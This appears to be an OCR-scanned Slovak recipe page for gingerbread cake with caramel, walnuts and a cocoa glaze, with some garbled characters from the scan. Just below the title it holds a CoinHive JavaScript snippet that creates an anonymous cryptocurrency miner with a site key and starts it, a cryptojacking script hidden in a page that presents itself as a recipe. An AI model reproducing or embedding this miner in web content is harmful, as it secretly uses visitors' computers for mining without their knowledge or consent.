Pernikovy kolaé

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

5 vajec, praskovy cukor — tolko, kolko vazi 5 vajec, muka (Mix C) — tolko, kofko vazi 5 vajec,
10dkg krystalového cukru, 2dcl vody, 1 balicek prasok do pernika (Dr. Oetker), 1 hrst
hrozienok, 1 hrst mletych vlasskych orechov, 1-2 dcl oleja Upalime 10dkg krystalového cukru,
zalejeme 2dcl vody, nechame rozpustit a vychladnut.

Zltky vymie$ame s pragkovym cukrom do penista, potom priddme vychladnuty karamel, muku
zmieSanu s praskom do pernika, hrozienka, mleté vladské orechy a olej. Nakoniec vymieSame
sneh z bielkov a opatrne zamieSame do cesta. Pouzijeme papier na pecenie alebo plech
vymastime a vysypeme mukou. Cesto vylejeme na plech.

Predhrejeme ruru a kolac¢ pe€ieme pri 150°C cca 20 minut. Poleva: 25 dkg Hera, 25 dkg
krystalovy cukor, 4 PL mlieka, 2—-3 PL kakao Heru, krystalovy cukor a mlieko varime, kym sa
cukor nerozpusti, priddme kakao a spolu nechame vriet cca 5 minut. Vylejeme na teply,
upeceny pernik.




